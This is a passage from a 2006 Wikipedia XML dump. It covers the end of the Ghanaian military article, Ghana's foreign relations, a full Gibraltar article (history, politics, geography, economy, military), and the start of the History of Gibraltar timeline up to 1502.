The Ghanaian Air Force operates from bases in Accra (headquarters and main transport base) it numbers about a 1000 personnel, [[Tamale, Ghana|Tamale]] (combat and training base), [[Takoradi]] (training base), and [[Kumasi]] (support base). The air force's mission is to perform counterinsurgency operations and to provide [[logistics|logistical]] support to the army. Performance however has been hindered by a lack of spare parts and by poor maintenance capabilities.

==Navy==
Ghana's navy provides coastal defense, protection of fisheries, and
security on [[Lake Volta]]. In [[1994]] the navy was organized into an eastern
command, with headquarters at Tema, and a western command, with
headquarters at [[Sekondi]]. Still, the Ghanaian navy continues to
experience low readiness rates because of spare parts shortages.

In the late [[1980s]] and early [[1990s]], due to financial constraints and a
lack of serviceable equipment, the navy to shrank from about 1,200
personnel to about 850. The navy currently numbers about 1000 personnel as of [[2003]].

==Other==
[[Paramilitary]] forces deal with preventing and controlling civil
disturbances and insurrection. A small, elite Presidential Guard
provides security for the [[President_of_Ghana|president]]. The [[Government_of_Ghana|Ghanaian government]] also has
created a National Civil Defense Force (also known as the Committees
for the Defense of the Revolution), which includes all citizens able to
perform military service. According to the country's defense plans, the
National Civil Defense Force would be required to guard important
installations in times of crisis to relieve pressure on the regular armed
forces.
==Peacekeeping==
Ghana commits a large proportion of its armed forces to [[peacekeeping]] operations, mainly in Africa. Its largest contingents are:
*[[MONUC]] ([[Democratic Republic of Congo]]) - 464
*[[UNMIL]] ([[Liberia]]) - 852
*[[UNAMSIL]] ([[Sierra Leone]]) - 782
*[[UNIFIL]] ([[Lebanon]]) - 651

==See also== 
*[[Ghana]]



[[Category:Militaries|Ghana]]
[[Category:Military of Ghana|*]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Ghana</title>
    <id>12076</id>
    <revision>
      <id>39554868</id>
      <timestamp>2006-02-14T06:43:52Z</timestamp>
      <contributor>
        <username>AySz88</username>
        <id>222815</id>
      </contributor>
      <comment>Revert to revision 39038696 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Politics of Ghana}}
Ghana is active in the [[United Nations]] and many of its specialized agencies, the [[World Trade Organization]], the [[Nonaligned Movement]], the [[Organization of African Unity]] (OAU), what is now is the [[African Union]] (AU) and the [[Economic Community of West African States]]. Generally, it follows the consensus of the Nonaligned Movement and the OAU on economic and political issues not directly affecting its own interests. Ghana has been extremely active in international [[peacekeeping]] activities under UN auspices in [[Lebanon]], [[Afghanistan]], [[Rwanda]], the [[Balkans]], and [[Pakistan]], in addition to an eight-year sub-regional initiative with its ECOWAS partners to develop and then enforce a cease-fire in [[Liberia]]. Ghana maintains friendly relations with all states, regardless of ideology.

'''Disputes - international:'''
none

'''Illicit drugs:'''
illicit producer of [[cannabis (drug)|cannabis]] for the international [[Recreational drug use|drug]] trade; transit hub for Southwest and Southeast [[Asia]]n [[heroin]] and [[South America]]n [[cocaine]] destined for [[Europe]] and the [[United States]].

:''See also :'' [[Ghana]]
[[Category:Foreign relations by country|Ghana, Foreign affairs of]]
[[Category:Foreign relations of Ghana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Gibraltar</title>
    <id>12077</id>
    <revision>
      <id>42157607</id>
      <timestamp>2006-03-04T05:01:29Z</timestamp>
      <contributor>
        <ip>72.153.131.216</ip>
      </contributor>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; cellpadding=&quot;4&quot; style=&quot;width: 20em; font-size: 95%;&quot;
|+ style=&quot;margin-left: inherit; font-size: medium;&quot; | '''Gibraltar
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
{| style=&quot;width: 280px; background: none; text-align: center;&quot;
|- style=&quot;vertical-align: middle;&quot;
| style=&quot;border: 0;&quot; | &lt;span style=&quot;display:table-cell; border-collapse:collapse; border: solid 1px #BBBBBB;&quot;&gt;[[Image:Flag of Gibraltar.svg|125px|Flag of Gibraltar]]&lt;/span&gt;
| style=&quot;border: 0;&quot; | [[Image:Gib original crest.jpg|70px|Coat of Arms of Gibraltar]]
|- style=&quot;font-size: smaller;&quot;
| style=&quot;border: 0;&quot; | [[Flag of Gibraltar|Flag]]
| style=&quot;border: 0;&quot; | [[Coat of arms of Gibraltar|Coat of Arms]]
|}
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[List of state mottos|Motto]]: ''Nulli Expugnabilis Hosti'' &lt;br/&gt;([[Latin]]: ''Conquered By No Enemy'')&lt;/small&gt;
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[National anthem|Anthem]]: [[Gibraltar Anthem]]
|- style=&quot;text-align: center;&quot;
| colspan=&quot;2&quot; style=&quot;background:#ffffff;&quot; | [[Image:LocationGibraltar.png|Location of Gibraltar]]
|-
| '''Status'''
| [[British overseas territory|Overseas territory]] of the [[United Kingdom]]
|-
| '''[[Official language|Official&amp;nbsp;language(s)]]'''
| [[English language|English]]
|-
|'''[[Governor of Gibraltar|Governor]]'''
|[[Francis Richards|Sir Francis Richards]]
|-
| '''[[Chief Minister of Gibraltar|Chief Minister]]'''
| [[Peter Caruana]]
|-
| style=&quot;font-weight: normal;&quot; | '''[[Area]]'''&lt;br/&gt;&amp;nbsp;- Total &lt;br/&gt;&amp;nbsp;- % water
| [[List of countries by area|not ranked]] (192 if)&lt;br/&gt; [[1 E6 m²|6.5 km&amp;sup2;]] &lt;br/&gt; -
|-
| style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br/&gt;&amp;nbsp;- Total (2003 [[Estimation|E]]) &lt;br/&gt;&amp;nbsp;- [[Population density|Density]]
| [[List of countries by population|not ranked]] (190 if) &lt;br/&gt; 27,776 &lt;br/&gt; 4270/km&amp;sup2;
|-
| '''[[Currency]]'''
| [[Gibraltar Pound]] (&amp;pound;) (GIP) 

|-
| style=&quot;font-weight: normal;&quot; | '''[[Time zone]]'''&lt;br&gt;&amp;nbsp;- in [[European Summer Time|summer]]
| [[Central European Time|CET]] ([[Coordinated Universal Time|UTC]]+1)&lt;br&gt;[[Central European Summer Time|CEST]] ([[Coordinated Universal Time|UTC]]+2)
|-
| [[Top-level domain|Internet TLD]]
| [[.gi]]
|-
! '''[[List of country calling codes|Calling code]]'''
| 350¹
|}

'''Gibraltar''' is an [[British overseas territory|Overseas Territory]] of the [[United Kingdom]]. It is located on the southern part of the [[Iberian Peninsula]] at the [[Strait of Gibraltar]] that links the [[Atlantic Ocean]] and [[Mediterranean Sea]] and placing it between [[Europe]] and [[Africa]]. The territory shares a land border with [[Spain]], to the north. Gibraltar has historically been important base for the [[British Armed Forces]], and is the site of a large naval base.

The name of the rock comes from the [[Arabic language|Arabic]] name of ''Jebel al Tariq'' (جبل طارق) meaning rock of Tariq. It refers to the [[Ummayad]] general [[Tariq ibn-Ziyad]] who led the [[Islamic conquest of Iberia|Muslim conquest of Spain]] in [[711]]. Earlier it was known as [[Calpe]], one of the [[Pillars of Hercules]]. Today, Gibraltar is also known colloquially as &quot;Gib&quot; or &quot;the Rock&quot;.

The [[Disputed status of Gibraltar|sovereignty of Gibraltar]] is a major issue of contention in Anglo-Spanish relations.  [[Spain]] requests the return of sovereignty, ceeded in perpetuity in 1713. Any transfer has been consistently and totally rejected by the people of Gibraltar.

==History==
{{main|History of Gibraltar}}

Human settlement in Gibraltar can be traced back to the [[Phoenicians]] around [[950 BC]], although there is earlier evidence of habitation by the [[Neanderthal]]s, a prehistoric subspecies of man. Semi-permanent settlements were later established by the [[Carthaginians]] and [[Ancient Rome|Romans]]. Gibraltar was named at that time as one of the [[Pillars of Hercules]], after the legend of the creation of the [[Straits of Gibraltar]].

The first permanent settlement was built by the [[Almohad]] Sultan [[Abd al-Mu'min]]. Gibraltar then passed to a successive line of empires, becoming a part of [[Castile]] and then [[Spain]]. Admiral Sir George Rooke, commander of the confederate fleet captured the territory in [[1704]] during the [[War of the Spanish Succession]]. 

In the [[Treaty of Utrecht]] which ended the war, Spain ceded Gibraltar and [[Minorca]] to the United Kingdom, which has retained sovereignty over the former ever since, despite early attempts by Spain to recapture the territory. 

Gibraltar then became an important naval base for the [[Royal Navy]], playing an important part in the [[Battle of Trafalgar]]. Its strategic value increased with the opening of the [[Suez Canal]], as it controlled the important sea route between the UK and its colonies in [[India]] and [[Australia]]. During [[World War II]], the civilian residents of Gibraltar were evacuated, and the Rock was turned into a fortress. An [[Gibraltar Airport|airfield]] was built over the civilian racecourse. Plans by [[Nazi Germany]] to capture the Rock were frustrated by Spain's reluctance to allow the [[Wehrmacht|German Army]] onto Spanish soil. 
[[Image:Battle of Gibraltar 1607.jpg|300px|thumb|right|[[Battle of Gibraltar]].]]

In the [[1950s]], Spain – then under &quot;Generalísimo&quot; [[Francisco Franco]] – renewed its claim to sovereignty over Gibraltar, sparked in part by the visit of [[Queen Elizabeth II]] in [[1954]] to celebrate the 250th anniversary of the Rock's capture. For the next thirty years, Spain restricted movement between Gibraltar and Spain. A referendum was held on September 10, [[1967]] in which Gibraltar's voters were asked whether they wished to either pass under Spanish sovereignty, or remain under British sovereignty, with institutions of self-government. The vote was overwhelmingly in favour of continuance of British sovereignty, with 12,138 to 44 voting to reject Spanish sovereignty. In response Spain completely closed the border with Gibraltar and severed all communication links. 

In [[1981]] it was announced that [[Charles, Prince of Wales|The Prince]] and [[Diana, Princess of Wales|Princess of Wales]] would fly to Gibraltar to board the [[HMY Britannia|''Britannia'']] as part of their honeymoon. In response the Spanish King, [[Juan Carlos of Spain|Juan Carlos I]] refused to attend their wedding in [[London]]. 

In [[1988]], [[Special Air Service|SAS troops]] foiled an attempted terrorist attack on the British Army Garrison by members of the [[Provisional Irish Republican Army|IRA]].

The border with Spain was partially reopened in [[1982]], and fully reopened in [[1985]] after Spain's accession into the [[European Community]]. Joint talks on the future of the Rock held between Spain and the United Kingdom have occurred since the late [[1980s]], with various proposals for joint sovereignty discussed. However, another referendum organised in Gibraltar rejected the idea of joint sovereignty by 17,900 votes to 187. The question of Gibraltar continues to dominate Anglo-Spanish relations.

==Politics==
&lt;!-- Unsourced image removed: [[Image:Francis Richards.jpg|thumb|150px|The [[Governor of Gibraltar]], [[Francis Richards|Sir Francis Richards]].]] --&gt;
{{main|Politics of Gibraltar}}
As an [[British overseas territory|overseas territory]] of the UK, the head of state is [[Queen Elizabeth II]], who is represented by the [[Governor of Gibraltar]]. The UK retains responsibility for [[Defense (military)|defence]], [[International relations|foreign relations]], internal security and financial stability. The Governor is not involved in the day-to-day administration of Gibraltar, and his role is largely as a ceremonial head of state. The Governor officially appoints the Chief Minister and government ministers after an election. He is responsible for matters of defence, security and the [[Royal Gibraltar Police]].

The Government of Gibraltar is elected for a term of four years. The [[unicameral]] [[Gibraltar House of Assembly|House of Assembly]] consists of fifteen elected members, eight Government members, seven opposition members and two ex-officio members appointed by the Governor, the Financial Development Secretary and the Attorney-General. The speaker is nominated by the Government.

The head of Government is the [[Chief Minister of Gibraltar|Chief Minister]], currently [[Peter Caruana]]. There are three political parties currently represented in the House of Assembly: [[Gibraltar Social Democrats]]; [[Gibraltar Socialist Labour Party]]; and [[Gibraltar Liberal Party]]. [[New Gibraltar Democracy]] has has been formed since the 2003 election.

The [[Reform Party (Gibraltar)|Reform Party]] and [[Gibraltar Labour Party]] having failed to achieve any popular support, ceased operating in [[2005]].

Gibraltar is a part of the [[European Union]], having joined under the British Treaty of Accession, with exemption from some areas such as the [[Customs Union]] and [[Common Agricultural Policy]]. Since [[2004]], the people of Gibraltar have been entitled to vote in elections to the [[European Parliament]] as part of the [[South West England]] region. 

As a result of the continued Spanish claim, the issue of [[sovereignty]] features strongly in Gibraltar politics. All local political parties are opposed to any transfer of sovereignty to Spain, instead supporting [[self-determination]] for the Rock. This policy is supported by the main UK opposition parties. In view of the UK Government's repeated commitment to respect the wishes of the people of Gibraltar, as laid out in the Constitution, the proposal for joint sovereignty is now considered dead.

==Geography==
[[Image:Gib_bay.jpg|thumb|300px|The Rock of Gibraltar, West Side town area, 2006]]
The territory covers 6.543&amp;nbsp;km² (2.53 square miles). It shares a 1.2 km land border with [[Spain]] and has 12&amp;nbsp;km of shoreline. There are two coasts (''sides'') of Gibraltar &amp;ndash; the [[Gibraltar east|East Side]] which contains the settlements of [[Sandy Bay]] and [[Catalan Bay]], and the [[Gibraltar west|West Side]] where the vast majority of the population lives.

The climate is [[Mediterranean]] with mild winters and warm summers. Its terrain is a narrow coastal lowland bordering the 426-metre (1.397.6-foot) high [[Rock of Gibraltar]]. 

It has negligible natural resources and limited natural freshwater resources, until recently using large concrete or natural rock water catchments to collect rain water. It now has a [[desalination]] plant using [[reverse osmosis]] which is built into the rock itself. 

Gibraltar is one of the most densely populated territories in the world, with approximately 4,245 people per km² (10,979 per sq mile). The growing demand for space is being increasingly met by [[land reclamation]], which comprises approximately one tenth of the territory's total area.

The Rock itself is made of [[limestone]] and is 426 m (1,396 feet) high. It contains many miles of roads, most of which are closed to the public. Most of its area is covered by a [[nature reserve]], which is home to around 250 [[Barbary Macaque|Barbary Apes]], the only wild [[monkey]]s in Europe. Superstition holds that if ever the Apes leave, so will the British; so they are well looked after by the government (a situation rather analogous to the [[raven]]s of the [[Tower of London]]).

==Subdivisions==
[[Image:Gibraltar sm05.gif|thumb|250px|Map of Gibraltar]]
Gibraltar has no administrative divisions. It is divided into seven Major Residential Areas, which are further divided into Enumeration Areas, which serve statistical purposes. The Major Residential Areas are listed below, with population figures from the Census of 2001:

{| class=&quot;wikitable&quot;
! style=&quot;background: #f0f0f0;&quot; | !! style=&quot;background: #f0f0f0;&quot; | Residential area !! style=&quot;background: #f0f0f0;&quot; | Population !! style=&quot;background: #f0f0f0;&quot; | %
|-
| align=&quot;right&quot; | 1 || East Side         || align=&quot;right&quot; |       429     || align=&quot;right&quot; |      1.54%
|-
| align=&quot;right&quot; | 2 || North District    || align=&quot;right&quot; |     4,116     || align=&quot;right&quot; |     14.97%
|-
| align=&quot;right&quot; | 3 || Reclamation Areas || align=&quot;right&quot; |     9,599     || align=&quot;right&quot; |     34.91%
|-
| align=&quot;right&quot; | 4 || Sandpits Area     || align=&quot;right&quot; |     2,207     || align=&quot;right&quot; |      8.03%
|-
| align=&quot;right&quot; | 5 || South District    || align=&quot;right&quot; |     4,257     || align=&quot;right&quot; |     15.48%
|-
| align=&quot;right&quot; | 6 || Town Area         || align=&quot;right&quot; |     3,588     || align=&quot;right&quot; |     13.05%
|-
| align=&quot;right&quot; | 7 || Upper Town        || align=&quot;right&quot; |     2,805     || align=&quot;right&quot; |     10.20%
|-
| align=&quot;right&quot; |   || &lt;b&gt;Gibraltar&lt;/b&gt;  || align=&quot;right&quot; | &lt;b&gt;27,495&lt;/b&gt; || align=&quot;right&quot; | &lt;b&gt;98.18%&lt;/b&gt;
|}

==Economy==
{{main|Economy of Gibraltar}}
[[Image:10 pounds of Gibraltar.jpg|thumb|175px|[[Gibraltar pound|Gibraltar £10 notes]].]]
The British military traditionally dominated the economy of Gibraltar, with the naval dockyard providing the bulk of economic activity. This has however diminished in the last twenty years, and it is estimated to account for only 7% of the local economy, compared with over 60% in [[1984]].

Nowadays Gibraltar has an extensive service-sector-based economy, dominated by [[financial services]] and [[tourism]]. A number of British banks and international banks have operations in Gibraltar. Gibraltar has become an International Finance Centre. There is no tax on capital income and other advantages. Recently many bookmakers and online gaming operators have relocated to Gibraltar, to benefit from operating in a regulated jurisdiction with a favourable corporate tax regime.

Tourism is also a significant industry. Gibraltar is a popular stop for cruise ships; and attracts day visitors from resorts in Spain. The [[Rock of Gibraltar]] is a popular tourist attraction, particularly among British tourists and residents in the southern coast of Spain. It is also a popular shopping destination, and all goods and services are [[value added tax|VAT]] free. Many of the large British high street chains have branches in Gibraltar including [[Marks and Spencer]] [[BHS]] [[Dorothy Perkins]] and
the supermarket [[Morrisons]].

Figures from the [[CIA World Factbook]] show that Gibraltar has a [[GDP]] of over £432 million ($769 million); with a per capita figure of £15,700 ($28,000). The main export markets in 2004 were [[France]] (19.4%), Spain (14.1%), [[Turkmenistan]] (12.1%), [[Switzerland]] (11.7%), [[Germany]] (10.1%), the United Kingdom (9.1%) and [[Greece]] (6.8%).

The unit of currency is the [[Pound Sterling]].

==Demographics==
{{main|Demographics of Gibraltar}}
Gibraltar has a population of approximately 27,884 as of July 2005. The Gibraltarians' origins are Andalusian Spaniards, British, and settlers from elsewhere in the Mediterranean (mainly [[Genoa|Genoese]] and [[Malta|Maltese]]). The main religion is Christianity, the majority group being the [[Roman Catholic Church]], then the [[Church of England]]. There is a long established [[Jewish]] community, a number of [[Hindu]] Indians and a Moroccan [[Muslim]] population.

The official language is [[English language|English]], which is the main language used for government and business purposes. Many locals also use [[Llanito]], a mixture of English and [[Andalusia]]n Spanish, with some words not native to either.

==Culture==
{{main|Culture of Gibraltar}}
[[Image:Gibraltar-flags-national-pride.jpg|thumb|200px|Tercentenary celebrations in Gibraltar, the Union Flag is used a symbol of Gibraltar's British connections, and is flown throughout the Rock]] 
The culture of Gibraltar reflects Gibraltarians' diverse origins. While there are [[Andalusia|Andalusian]] and British influences, the ethnic origins of most Gibraltarians are not confined to British or Andalusian ethnicities. Most ethnicities include Genoese, Maltese, Portuguese, and Germans. A handful of other Gibraltar residents are Jewish of [[Sephardi|Sephardic]] or of [[North Africa]]n origin or even Hindu. 

British influence remains strong. Although Gibraltarians often speak to each other in an English-influenced Andalusian dialect called Yanito or [[Llanito]], English is the language of government, commerce, education and the media. Gibraltarians going on to higher education attend university in the UK. Patients requiring medical treatment not available on the Rock receive it there as private patients, paid for by the Gibraltar Government.

Gibraltar celebrates its National Day annually on 10th September, the date chosen to commemorate the 1967 Referendum which was the first act of self-determination of the people of Gibraltar. Despite the political undertones of the day, it is very much a festive occasion, with everyone dressing in red and white and congregating in the main square (Casemates) to celebrate. 30,000 red and white balloons are released followed by music, dancing and other events around Gibraltar.

==Transport==
[[Image:Gib_cc.jpg|thumb|left|200px|The Cable Car]]
{{main|Transport in Gibraltar}}
Within Gibraltar, the main form of transport is the car. Motorbikes are popular and there is a good modern bus service. Unlike other British territories, traffic drives on the right, as it shares a land border with Spain. 

There is a [[cable car]] which runs from a lower level in the centre of Gibraltar to one of the highest points on the Rock, with a stop halfway at the apes' den.

The only transport link with Spain is by land, as Spain bans all air and ferry links with Gibraltar. Despite this, [[Gibraltar Airport]], maintains regular flight connections to [[London]] and [[Manchester]]. There were flights to [[Morocco]] but there was insufficient demand to sustain the service. 

Motorists, and on occasion, pedestrians crossing the border with Spain are randomly subjected to long delays and searches by the Spanish authorities. Spain has closed the border during disputes with the Gibraltar authorities, for example when the [[MV_Aurora|Aurora]] cruise ship called at Gibraltar.

==Military==

The army garrison is provided by the [[Royal Gibraltar Regiment]], originally a part-time reserve force which was placed on the permanent establishment of the [[British Army]] in [[1990]]. The regiment includes full-time and part-time soldiers recruited from Gibraltar, as well as [[British Army]] regulars posted from other regiments.

[[Image:Gibraltar_navy.jpg|thumb|200px|right|A Royal Navy base in Gibraltar.]]

The [[Royal Navy]] maintains its [http://www.royal-navy.mod.uk/static/pages/5375.html|Gibraltar Squadron] at the Rock. The squadron is responsible for the security and integrity of British Gibraltar Territorial Waters (BGTW). The shore establishment at Gibraltar is named [[Rooke]] after [[Sir George Rooke]] who captured the Rock for [[Charles VI, Holy Roman Emperor|Archduke Charles]] (pretender to the Spanish throne) in 1704. Gibraltar's naval docks are an important base for [[NATO]]. Ships from the Spanish navy do not dock at Gibraltar.

British and US nuclear submarines frequently visit the ''Z berths'' at Gibraltar (source: [http://www.parliament.the-stationery-office.co.uk/pa/cm199798/cmhansrd/vo981109/text/81109w21.htm Hansard]). A Z berth provides the facility for nuclear submarines to visit for operational or recreational purposes, and for non-nuclear repairs.

The [[Royal Air Force]] station at Gibraltar forms part of Headquarters British Forces Gibraltar. Although aircraft are no longer permanently stationed at [[RAF Gibraltar]], a variety of RAF aircraft make regular visits to the Rock.

The Rock is believed to be a [[SIGINT]] listening post for [[telecommunications]] throughout North Africa, and because of its strategic location it still remains a key base for [[NSA]] and [[GCHQ]] coverage of the [[Mediterranean]].

==Death on the Rock==   
In [[1988]] the British [[Special Air Service|SAS]] killed three unarmed [[Provisional IRA]] volunteers, Mairead Farrell, Sean Savage and Daniel McCann in Gibraltar as part of [[Operation Flavius]]. They were in Gibraltar on a PIRA operation. A car hired by the three was subsequently discovered laden with [[Semtex]] explosive. This incident was the subject of a contentious [[Thames Television]] documentary, ''[[Death on the Rock]]'', which many credit with being the main factor in Thames losing its [[ITV]] licence in 1992.   
    
The families of the deceased took the case to the [[European Court of Human Rights]] which by ten votes to nine held that the British Government had violated Article 2 of the [[European Convention on Human Rights|Convention]]. It also ruled that the three had been engaged in an act of terrorism, and consequently dismissed unanimously the applicants’ claims for damages, for costs and expenses incurred in the Gibraltar Inquest and the remainder of the claims for just satisfaction.

==Miscellaneous==
* [[Communications in Gibraltar]]
* [[Transport in Gibraltar]]

==See also==

*[[Gibraltar Services Police]]
*[[Royal Gibraltar Police]]

== External links ==

{{commonscat|Gibraltar}}
*[http://www.gibraltar.gov.gi Government of Gibraltar]
*[http://www.gibraltar.gov.uk Government of Gibraltar - London Office]
*[http://www.fsc.gi Gibraltar Financial Services Commission]
*[http://www.gibraltar.gov.uk/natsymbols.asp National Symbols]
*[[CIA Factbook]] [http://www.cia.gov/cia/publications/factbook/geos/gi.html]
*[http://www.nic.gi Gibraltar ccTLD NIC]
*[http://www.gibnet.com Gibraltar, the Unofficial Homepage]
*[http://www.gbc.gi Gibraltar Broadcasting Corporation (with radio streaming)]
*[http://maps.google.com/?t=k&amp;ll=36.132052,-5.34502&amp;spn=0.064747,0.1157&amp;t=k Gibraltar at Google Maps]
*[http://news.bbc.co.uk/1/hi/world/europe/2400673.stm Q&amp;A about Gibraltar at the BBC.co.uk]
*[http://www.terraserver.com/imagery/image_gx.asp?cpx=-5.34643871337269&amp;cpy=36.1377186799092&amp;res=15&amp;provider_id=340&amp;t=pan&amp;dat= Satellite view of Gibraltar]

{{Europe}}
{{British dependencies}}

[[Category:Disputed territories]]
[[Category:European dependencies]]
[[Category:Gibraltar| ]]
[[Category:Arabic words]]

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[[ru:Гибралтар]]
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[[zh:直布罗陀]]</text>
    </revision>
  </page>
  <page>
    <title>History of Gibraltar</title>
    <id>12078</id>
    <restrictions>edit=autoconfirmed:move=autoconfirmed</restrictions>
    <revision>
      <id>42048210</id>
      <timestamp>2006-03-03T13:03:02Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{sprotected}}
==Prehistoric==
Evidence of [[hominid]] inhabitation of the Rock dates back to the [[Neanderthal]]s. A Neanderthal skull was discovered in [[Forbes' Quarry]] in 1848, indeed prior to the &quot;original&quot; discovery in the [[Neanderthal, Germany|Neander Valley]]. In 1926, the skull of a Neanderthal child was found in [[Devil's Tower]].

==Ancient==
The [[Phoenicians]] are known to have visited the Rock circa 950 BC and named the Rock ''[[Calpe]]''. The [[Carthage|Carthaginians]] also visited, however neither group appears to have settled permanently. [[Plato]] refers to Gibraltar as one of the [[Pillars of Hercules]] along with [[Jebel Musa]] or [[Monte Hacho]] on the other side of the Strait.

Gibraltar was next visited by the [[Ancient Rome|Roman]]s. Again, no permanent settlement was established. Following the [[fall of the Roman Empire]], Gibraltar was visited by the [[Vandals]] and later the [[Goths]]. The Vandals' stay was temporary; however, the [[Visigoth]]s were to remain on the [[Iberian peninsula]] from 414 to 711. The Gibraltar area and the rest of the South Iberian Peninsula was part of the [[Byzantine Empire]] during the second part of the 6th century, later reverting to the Visigoth Kingdom.

==Muslim==
*[[711]] [[April 30]] - The [[Umayyad]] general [[Tariq ibn Ziyad]], leading a [[Berber]]-dominated army, sailed across the Strait from Ceuta. He first attempted to land on Algeciras but failed. Upon his failure, he landed undetected at the southern point of the Rock from present-day [[Morocco]] in his quest for Spain. Little was built during the first four centuries of [[Moorish]] control. (See [[Reconquista]].)
*1160 - The [[Almohad]] Sultan [[Abd al-Mu'min]] ordered that a permanent settlement, including a [[castle]], be built. It received the name of ''Medinat al-Fath'' (City of the Victory). On completion of the works in the town, the Sultan crossed the Strait to inspect the works and stayed in Gibraltar for two months. The Tower of Homage of the castle remains standing today (Moorish Castle).
*1231 - After the collapse of the Almohad Empire, Gibraltar was taken by [[Ibn Hud]], [[Taifa]] emir of Murcia.
*1237 - Following the death of [[Ibn Hud]], his domains were handed over to [[Muhammed ibn Nasr]], the founder of the [[Nasrid dynasty|Nasrid]] [[kingdom of Granada]]. Therefore, Gibraltar changed hands again.
*1274 - The second Nasrid king, [[Muhammed II al-Faqih]], gave Gibraltar over to the [[Marinid]]s, as payment for their help against the Christian kingdoms.
*1309 - While the King [[Ferdinand IV of Castile]] laid siege on Algeciras, [[Alonso Pérez de Guzmán]] (known to the Spanish records as ''Guzmán el Bueno'') was sent to capture the town. This was the First Siege of Gibraltar. The Castilians took the Upper Rock from where the town was bombarded. The garrison surrendered after one month. Gibraltar then had about 1,500 inhabitants.
*[[1310]] [[31 January]] - Gibraltar was granted its first Charter by the king Ferdinand IV of Castile. Being considered a high risk town, the charter included incentives to settle there such as the offering of freedom from justice to anyone who lived in Gibraltar for one year and one day.
:This fact marked the establishment of the Gibraltar council.
*1316 - Gibraltar was unsuccessfully besieged by the Nasrid [[caid]] Yahya (Second Siege of Gibraltar).
*1333 June - A [[Marinid]]s army, lead by [[Abd al-Malik]], the son of [[Abul Hassan]], the Marinid sultan, recovered Gibraltar, after a five-month siege (Third Siege of Gibraltar).
:King [[Alfonso XI of Castile]] attempted to retake Gibraltar aided by the fleet of the Castilian Admiral [[Alonso Jofre Tenorio]]. Even a ditch was dug across the isthmus. While laying the siege, the king was attacked by a Nasrid army from Granada. Therefore, the siege ended in a truce, allowing the Marinids to keep Gibraltar (Fourth Siege of Gibraltar)
*1344 March - After a two-year siege, [[Algeciras]] was taken over by the Castilian forces. Therefore, Gibraltar became the main Marinid port in the Iberian Peninsula. During the siege, Gibraltar played a key role as the supply base of the besieged.
*1349 - Gibraltar was unsuccessfully besieged by the Castilian forces led by the king [[Alfonso XI of Castile|Alfonso XI]].
*1350 - The siege was resumed by Alfonso XI. It was again unsuccessful, mainly due to the arrival of the [[Black Death]], which decimated the besiegers, causing the death of the king (Fifth Siege of Gibraltar).
*1369 - Algeciras was taken over by the [[Nasrid dynasty|Nasrids]], destroyed and its harbour made unusable. This fact increased again the importance of Gibraltar in the strait trade.
*1374 - Gibraltar was recovered by the [[Nasrid dynasty|Nasrids]] (Sixth Siege of Gibraltar).
*1436 - [[Enrique de Guzmán]], Count of Niebla, with large estates in South Andalusia assaulted Gibraltar. However, his attack was repelled and Castilian forces suffer heavy losses (Seventh Siege of Gibraltar).

==Castilian / Spanish==
*[[1462]] [[August 20]] - Castilian forces captured Gibraltar (Eighth Siege of Gibraltar). (See [[Reconquista]]). An immediate dispute broke out between the [[House of Medina Sidonia]] (the Guzmán family) and the [[House of Arcos]] (the Ponce de León family) about the possession of the town. Finally, the initiative of Juan Alonso de Guzmán, 1st [[Duke of Medina Sidonia]] succeeded and he took possession of the town as personal property. However, the King of Castile, [[Henry IV of Castile|Henry IV]] declared Gibraltar to be Crown property and not the personal property of the Guzman family. Henry IV restored the charter granted to Gibraltar in 1310 and took two additional measures: the lands previously belonging to [[Algeciras]] (destroyed in 1369) were granted to Gibraltar; and the status of [[collegiate church]] was solicited from the pope [[Pius II]] and granted to the Santa María Church (the old Moorish Mosque). [[St. Bernard]], whose feast falls on the [[20 August]], became the Patron Saint of Gibraltar.
*1463 - In a tour through Andalusia, Henry IV was the first Christian monarch to visit Gibraltar.
*1467 July - In the midst of a nobility revolt against the King, the forces of the Duke of Medina Sidonia, after a 16-month siege, took Gibraltar. [[Alfonso of Castile]], half-brother of Henry IV, and puppet pretender handled by the nobility, granted him the Lordship of Gibraltar (Ninth Siege of Gibraltar).
*[[1469]] [[June 3]] - After the death of Alfonso de Castilla and the 1st Duke of Medina Sidonia, his son and heir [[Enrique de Guzman El Bueno, 2nd Duke of Medina Sidonia|Enrique de Guzman, 2nd Duke of Medina Sidonia]] changed side and in reward, saw the status of Gibraltar, as part of the domains of the Duke, confirmed by the Queen [[Isabella of Castile]].
*[[1470]] [[December 20]] - A new charter was granted to the town of Gibraltar, now a nobiliary town, based in the Antequera charter.
*[[1478]] [[September 30]] - The [[Catholic Monarchs]] granted the title of Marquis of Gibraltar to the Duke of Medina Sidonia.
*1492 - After conquering Granada, the Catholic Monarchs expelled the [[Jew]]s from Spain. Many passed through Gibraltar on their way into exile in North Africa.
*1492 Summer - After the death of the former Duke, his son and heir, [[Juan Alfonso Perez de Guzman El Bueno, 3rd Duke of Medina Sidonia|Juan Alfonso Perez de Guzman, 3rd Duke of Medina Sidonia]] saw his lordship over Gibraltar reluctantly renewed by the Catholic Monarchs.
*1497 - Gibraltar became the main base in the conquest of [[Melilla]] by the troops of the Duke of Medina Sidonia.
*[[1501]] [[December 2]] - Acknowledging the importance of the town, the Catholic Monarchs asked the Duke of Medina Sidonia for the return of Gibraltar to the domains of the crown. The Duke accepted the Royal request and ceded the town to the monarchs.
*[[1502]] [[January 2]] - [[Garcilaso de la Vega]] took possession of the town on behalf of the Queen Isabella of Castile.
[[Image:Gib original crest.jpg|left|thumb|The Coat of Arms of Gibraltar, granted by the Catholic Monarchs]]
